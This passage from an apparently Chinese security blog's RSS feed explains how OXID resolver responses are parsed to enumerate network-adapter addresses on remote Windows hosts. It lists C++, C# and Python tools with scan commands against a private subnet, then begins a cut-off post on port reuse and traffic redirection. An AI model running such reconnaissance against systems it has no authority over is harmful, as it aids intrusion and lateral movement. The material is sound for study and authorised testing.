<p cid="n56" mdtype="heading" style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">数据解析过程</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">规律：</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">每一个String Binding都以\x07\x00开头。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">每一个StringBinding都以\x00\x00分割，一直到第一个Security Binding是\x09\x00开头。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">因此，当recv的数据直到\x09\x00结束，开头就比较好办了，第四个数据包起始位置往后偏移42个字节就可以到达第一个String Binding。</p><h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">C++<br/></h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">OXID_Find by C++（多线程） 通过OXID解析器获取Windows远程主机上网卡地址</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/uknowsec/OXID_Find" target="_blank">https://github.com/uknowsec/OXID_Find</a></p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(25, 23, 28);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> OXID_Find</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exe</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Author</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Uknow</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Github</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> https</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(101, 95, 109);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">//github.com/uknowsec/OXID_Find</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">usage</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> OXID_Find</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exe </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i </span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">192.168</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0.1</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">usage</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> OXID_Find</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exe </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c </span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">192.168</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0.1</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">24</span></code></span></span></p></li></ol></pre><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Csharp</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">OXID_Find by Csharp（多线程） 通过OXID解析器获取Windows远程主机上网卡地址 From @RcoIl</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">学习@RcoIl师傅的代码SharpOXID-Find,加了个多线程，支持cidr格式传入ip地址。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">强推一波@RcoIl师傅csharp代码库CSharp-Tools。正在学习csharp的同学可以关注学习~</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/rcoil" target="_blank">https://github.com/rcoil</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/RcoIl/CSharp-Tools" target="_blank">https://github.com/RcoIl/CSharp-Tools</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/RcoIl/CSharp-Tools/tree/master/SharpOXID-Find" target="_blank">https://github.com/RcoIl/CSharp-Tools/tree/master/SharpOXID-Find</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/uknowsec/SharpOXID-Find" target="_blank">https://github.com/uknowsec/SharpOXID-Find</a></p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(25, 23, 28);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">SharpOXID</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Find</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exe</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">usage</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">SharpOXID_Find</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exe </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i </span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">192.168</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0.1</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">usage</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(87, 109, 219);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">SharpOXID_Find</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exe </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c </span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">192.168</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0.1</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="box-sizing: border-box;color: rgb(170, 87, 60);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">24</span></code></span></span></p></li></ol></pre><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Python</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/Rvn0xsy/OXID-Find/" target="_blank">https://github.com/Rvn0xsy/OXID-Find/</a></p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(25, 23, 28);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> python2 finsubnet</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">py</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">usage</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> finsubnet</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">py </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">h</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i IP </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">t THREADS</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">o OUTPUT</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">finsubnet</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">py</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> error</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> argument </span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">i</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/--</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ip </span><span style="box-sizing: border-box;color: rgb(149, 90, 231);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">is</span><span style="box-sizing: border-box;color: rgb(239, 236, 244);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> required</span></code></span></span></p></li></ol></pre><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">References</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://payloads.online/archivers/2020-07-16/1" target="_blank">https://payloads.online/archivers/2020-07-16/1</a></p><p><br/></p>



<p><a href="2247484307">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8a693c74&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484307%26idx%3D1%26sn%3De790acbb8370fa56bb34802188e2f955%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 19 Jul 2020 16:49:00 +0800</pubDate>
    </item>
    <item>
      <title>frsocks+protoplex+流量重定向实现端口复用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484301&amp;idx=1&amp;sn=43607c6d410f94b5bfe4bdd4c810e4da</link>
      <description>sunshine师傅提到的端口复用方案，实践并分享一下。</description>
      <content:encoded><![CDATA[<p>
原创 <span>uknowsec</span> <span>2020-07-16 17:37</span> <span style="display: inline-block;"></span>
</p>

<p>sunshine师傅提到的端口复用方案，实践并分享一下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ba56175c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvdFL8uoiclrAugyqSboPhAH5aOnbcUYTPbYdGiatCQhQOoB0YnP6Iw0U1ZnnWGpHKGGNRB2wPzNTvyw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="margin-bottom: 0.5rem;font-weight: 700;font-size: 20px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">前言</h3><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">前段日子<code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: inherit;line-height: inherit;overflow-wrap: break-word;border-radius: 4px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">A-team</code>群里的师傅<code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: inherit;line-height: inherit;overflow-wrap: break-word;border-radius: 4px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sunshine</code>，讲到了一个端口复用的方案，并发了几个工具，这里简单记录实践一下。</p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 20px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, 